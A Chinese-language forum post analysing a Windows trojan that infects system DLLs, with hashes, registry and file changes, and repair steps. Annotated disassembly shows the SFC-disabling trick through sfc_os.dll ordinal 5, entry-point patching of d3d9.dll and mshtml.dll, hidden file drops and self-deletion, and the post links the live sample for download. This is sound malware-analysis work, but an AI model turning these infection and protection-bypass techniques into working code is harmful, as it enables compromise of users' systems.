本帖最后由 LShang 于 2013-2-9 16:07 编辑
基本信息
报告名称:永恒小马病毒分析报告
作者:LShang
报告更新日期:2013-02-09
样本发现日期:2009-10-27
样本类型:感染型木马
样本文件大小/被感染文件变化长度:25,744 字节/ 无变化
样本文件MD5 校验值:9E2D24491A06BD9EC932A61E9F911219
样本文件SHA1 校验值:165EB716923E423BBC17A9883A18C9E5319B6820
壳信息:AHTeam EP Protector 0.3 (fake PCGuard 4.03-4.15) -> FEUERRADER[Overlay] *
可能受到威胁的系统:Windows
已知检测名称:PWS:Win32/OnLineGames.FU
简介
运行程序后会释放DLL并通过感染系统DLL的方式来得以加载。
文件系统变化
在临时文件目录下会生成以Vch为前缀后跟随一个随机数的临时文件
在Windows\system文件夹下可以找到该临时文件的拷贝
Windows\system32文件夹下d3d9.dll和mshtml.dll被感染并替换
Windows\system32\DllCache文件夹下的d3d9.dll和mshtml.dll被改名为d3d9.dll.bak和mshtml.dll.bak
注册表变化
临时文件目录被添加到注册表键
HKLM\SYSTEM\CurrentControlSet\Control\SessionManager\Environment
下的Path中,即环境变量Path中
详细分析/功能介绍
该报告只涉及对病毒主体的分析,未对病毒释放的DLL做分析。
该样本主要流程
永恒小马.exe分析
首先,该样本获得了临时文件路径
[AppleScript] 纯文本查看 复制代码 .text:00401CCD lea eax, [ebp+PathName]
.text:00401CD3 push eax ; lpBuffer
.text:00401CD4 push 104h ; nBufferLength
.text:00401CD9 call GetTempPathA ; 获取临时文件路径
然后对路径进行处理后加入到了环境变量PATH中
[AppleScript] 纯文本查看 复制代码 .text:00401C30 push [ebp+SubStr]
.text:00401C33 push [ebp+pStrB]
.text:00401C36 call _mbscpy
.text:00401C3B push [ebp+pStrA]
.text:00401C3E push [ebp+pStrB]
.text:00401C41 call _mbscat
.text:00401C46 push [ebp+pStrB] ; lpData
.text:00401C49 push edi ; lpValueName
.text:00401C4A call SetEnvironment ; 该函数用于设置指定环境变量的值
之后又在临时文件目录生成了一个临时文件
[AppleScript] 纯文本查看 复制代码 .text:00401D7A mov edi, eax
.text:00401D7C lea eax, [ebp+FileName]
.text:00401D82 push eax ; lpTempFileName
.text:00401D83 push ebx ; uUnique
.text:00401D84 lea eax, [ebp+PathName]
.text:00401D8A push offset PrefixString ;"Vch~f094b9fc"
.text:00401D8F push eax ; lpPathName
.text:00401D90 call GetTempFileNameA ; 生成一个临时文件名
.text:00401DAD push ebx ; hTemplateFile
.text:00401DAE push ebx ; dwFlagsAndAttributes
.text:00401DAF push 2 ; dwCreationDisposition
.text:00401DB1 push ebx ; lpSecurityAttributes
.text:00401DB2 push ebx ; dwShareMode
.text:00401DB3 push 0C0000000h ; dwDesiredAccess
.text:00401DB8 push eax ; lpFileName
.text:00401DB9 call CreateFileA ; 创建临时文件
并将自身的DLL资源写入到临时文件中,即释放DLL文件
[AppleScript] 纯文本查看 复制代码 .text:00401DC6 lea eax, [ebp+NumberOfBytesWritten]
.text:00401DC9 push ebx ; lpOverlapped
.text:00401DCA push eax ; lpNumberOfBytesWritten
.text:00401DCB push edi ; nNumberOfBytesToWrite
.text:00401DCC push [ebp+pDLL] ; lpBuffer
.text:00401DCF push esi ; hFile
.text:00401DD0 call WriteFile ; 写文件
释放成功后在DLL文件后追加了一些数据,即自身的附加数据
[AppleScript] 纯文本查看 复制代码 .text:00401EF2 push 2 ; dwMoveMethod
.text:00401EF4 mov ebx, eax
.text:00401EF6 push edi ; lpDistanceToMoveHigh
.text:00401EF7 push edi ; lDistanceToMove
.text:00401EF8 push ebx ; hFile
.text:00401EF9 call esi ; SetFilePointer
.text:00401EFB lea eax, [ebp+NumberOfBytesWritten]
.text:00401EFE push edi ; lpOverlapped
.text:00401EFF push eax ; lpNumberOfBytesWritten
.text:00401F00 push [ebp+nNumberOfBytesToRead] ;nNumberOfBytesToWrite
.text:00401F03 push [ebp+lpBuffer] ; lpBuffer
.text:00401F06 push ebx ; hFile
.text:00401F07 call WriteFile ; 追加文件
设置了系统使用与隐藏的文件属性以隐藏自身
[AppleScript] 纯文本查看 复制代码 .text:00401F14 push 6 ; dwFileAttributes
.text:00401F16 push [ebp+lpFileName] ; lpFileName
.text:00401F19 call SetFileAttributesA ; 设置文件属性
.text:00401F19 ; 6 <==>0110 <==> 0100 | 0010
.text:00401F19 ; 0100系统使用属性
.text:00401F19 ; 0010隐藏属性
下图为释放并设置了文件属性的DLL文件属性,被伪装成了tmp文件
将其拷贝到 Windows\system文件夹下,以保证临时文件目录被清空后仍可被加载
[AppleScript] 纯文本查看 复制代码 .text:00402014 lea eax, [ebp+szWin_Sys_tmp]
.text:0040201A push 0 ; bFailIfExists
.text:0040201C push eax ; lpNewFileName
.text:0040201D push esi ; lpExistingFileName
.text:0040201E call CopyFileA ; 拷贝临时文件
然后感染和替换掉指定的系统DLL文件,以达到自启动目的
[AppleScript] 纯文本查看 复制代码 .text:00402059 lea eax, [ebp+szTmpName]
.text:0040205F push eax ; 不带路径的临时文件名
.text:00402060 push offset InfectFile ; 该函数用于感染文件
.text:00402065 push offset aD3d9_dllMshtml ;"d3d9.dll+mshtml.dll"
.text:0040206A push 0
.text:0040206C call ReplaceDLL ; 该函数用于解析需要被感染的DLL 的字符串
.text:0040206C ; 然后感染和替换 DLL 文件
最后通过CMD程序删除自身,然后结束进程
[AppleScript] 纯文本查看 复制代码 .text:00401213 lea eax, [ebp+CmdLine]
.text:00401219 push ebx ; uCmdShow
.text:0040121A push eax ; lpCmdLine
.text:0040121B call WinExec ; 创建进程
.text:00401221 push ebx ; uExitCode
.text:00401222 call ExitProcess ; 结束自身进程
替换过程分析
将原始DLL文件拷贝一份用于感染
[AppleScript] 纯文本查看 复制代码 .text:004023F9 lea eax, [ebp+szSys32_dll.rep]
.text:004023FF push ebx ; bFailIfExists
.text:00402400 push eax ; lpNewFileName
.text:00402401 lea eax, [ebp+szSys32_dll]
.text:00402407 push eax ; lpExistingFileName
.text:00402408 call esi ; CopyFileA ; 将system32\dll 复制到 system32\dll.rep
利用sfc_os.dll的5号导出库函数(5号门)暂时禁止对指定系统文件的保护
[AppleScript] 纯文本查看 复制代码 .text:0040249B lea eax, [ebp+szSys32_Cac_dll]
.text:004024A1 push eax
.text:004024A2 call SetSfcFileException ; 该函数暂时禁止指定系统文件的文件保护
.text:004024A2 ; 禁止后文件可被修改和替换,时间为 60S
.text:004024E1 lea eax, [ebp+szSys32_dll]
.text:004024E7 push eax
.text:004024E8 call SetSfcFileException ; 该函数暂时禁止指定系统文件的文件保护
.text:004024E8 ; 禁止后文件可被修改和替换,时间为 60S
修改无文件保护的系统文件名
[AppleScript] 纯文本查看 复制代码 .text:004024B4 push 3 ; dwFlags
.text:004024B6 push eax ; lpNewFileName
.text:004024B7 lea eax, [ebp+szSys32_Cac_dll]
.text:004024BD push eax ; lpExistingFileName
.text:004024BE call edi ; MoveFileExA ; 移动文件 --> 重命名文件
.text:004024BE ; 3 <==>0011 <==> 0001 | 0010
.text:004024BE ; 0001 如果目标文件存在,则替换目标文件
.text:004024BE ; 0010 如果移动到不同的卷,则复制文件后删除自身
[AppleScript] 纯文本查看 复制代码 .text:004024EE lea eax, [ebp+szSys32_dll.bak]
.text:004024F4 pop ecx
.text:004024F5 push 1 ; dwFlags
.text:004024F7 push eax ; lpNewFileName
.text:004024F8 lea eax, [ebp+szSys32_dll]
.text:004024FE push eax ; lpExistingFileName
.text:004024FF call edi ; MoveFileExA ; 修改文件名
感染拷贝的系统文件
[AppleScript] 纯文本查看 复制代码 .text:004024C0 push [ebp+pTmpName]
.text:004024C3 lea eax, [ebp+szSys32_dll.rep]
.text:004024C9 push eax
.text:004024CA call [ebp+pfnInfect] ; 该函数用于感染文件
用感染后的文件替换原始文件
[AppleScript] 纯文本查看 复制代码 .text:00402527 lea eax, [ebp+szSys32_dll]
.text:0040252D push 1 ; dwFlags
.text:0040252F push eax ; lpNewFileName
.text:00402530 lea eax, [ebp+szSys32_dll.rep]
.text:00402536 push eax ; lpExistingFileName
.text:00402537 call edi ; MoveFileExA ; 用感染后的文件替换原文件
删掉原始文件备份
[AppleScript] 纯文本查看 复制代码 .text:004025C1 lea eax, [ebp+szSys32_dll.bak]
.text:004025C7 push eax ; lpFileName
.text:004025C8 call DeleteFileA ; 删除备份文件
.text:004025CE test eax, eax
.text:004025D0 jnz short loc_4025DE
.text:004025D2 push 4 ; dwFlags
.text:004025D4 lea eax, [ebp+szSys32_dll.bak]
.text:004025DA push ebx ; lpNewFileName
.text:004025DB push eax ; lpExistingFileName
.text:004025DC call edi ; MoveFileExA ; 重启后删除文件
.text:004025DC ; 4<==> 0100
.text:004025DC ; 0100在重启后移动文件
感染过程分析
加载感染文件映射
[AppleScript] 纯文本查看 复制代码 .text:00401615 push ebx ; dwNumberOfBytesToMap
.text:00401616 push ebx ; dwFileOffsetLow
.text:00401617 push ebx ; dwFileOffsetHigh
.text:00401618 push 0F001Fh ; dwDesiredAccess
.text:0040161D push [ebp+hObject] ; hFileMappingObject
.text:00401620 call MapViewOfFile ; 加载文件映射到当前地址空间
保存原始入口点代码
[AppleScript] 纯文本查看 复制代码 .text:00401930 push 16h ; Size
.text:00401932 push esi ; Src
.text:00401933 push (offset byte_404098+4Ah) ; Dst
.text:00401938 call memcpy
插入病毒代码,修改入口点代码
[AppleScript] 纯文本查看 复制代码 .text:004019F0 mov eax, edi ; 文件映射的有效代码尾部内存地址
.text:004019F2 sub ecx, edi
.text:004019F4 mov edi, 84h
.text:004019F9
.text:004019F9 loc_4019F9: ; CODE XREF:InfectFile+483j
.text:004019F9 mov dl, [ecx+eax]
.text:004019FC mov [eax], dl
.text:004019FE inc eax
.text:004019FF dec edi
.text:00401A00 jnz short loc_4019F9
.text:00401A02 push 16h ; Size
.text:00401A04 push offset byte_404080 ; Src
.text:00401A09 push esi ; Dst
.text:00401A0A call memcpy ; 修改入口点代码
预防及修复措施
方式一(手工修复):
使用16进制编辑工具载入被感染DLL文件,找到被感染位置。
可能为以下两处:
1) 在文件偏移322H处向后查看,如存在字符串“AION” 则是PEHead被感染 2) 计算.text节的有效代码尾部偏移,从该偏移向后查看,如存在“AION” 则是.text节被感染
如果为PEHead被感染
在文件偏移30AH处复制16H字节。
计算.text节首文件偏移,用复制的16H字节覆盖掉当前.text节首内容。
将2C0H偏移后84H字节用0填充。
如果为.text节被感染
在有效代码尾部向后偏移4AH处复制16H字节。
计算.text节首文件偏移,用复制的16H字节覆盖掉当前.text节首内容。
将有效代码尾部后84H字节用0填充。
完成以上修复后
删除掉临时文件目录下Vch开头的tmp文件。
删除掉system文件夹下的Vch开头的tmp文件。
将临时文件目录从环境变量PATH中删除
方式二:
使用未被感染的系统DLL替换已被感染的DLL,可在PE环境下进行替换。
技术热点及总结
该样本不同于其他捆绑或添加区段的样本,仅利用已存在空间进行插入代码。并不会增加系统DLL的体积,不易被察觉。
同时感染部分对于感染代码的精心构造以及PE格式的利用也很值得学习。
样本下载
dump.7z
(77.25 KB, 下载次数: 23)
永恒小马样本分析报告.7z
(335.71 KB, 下载次数: 25)
|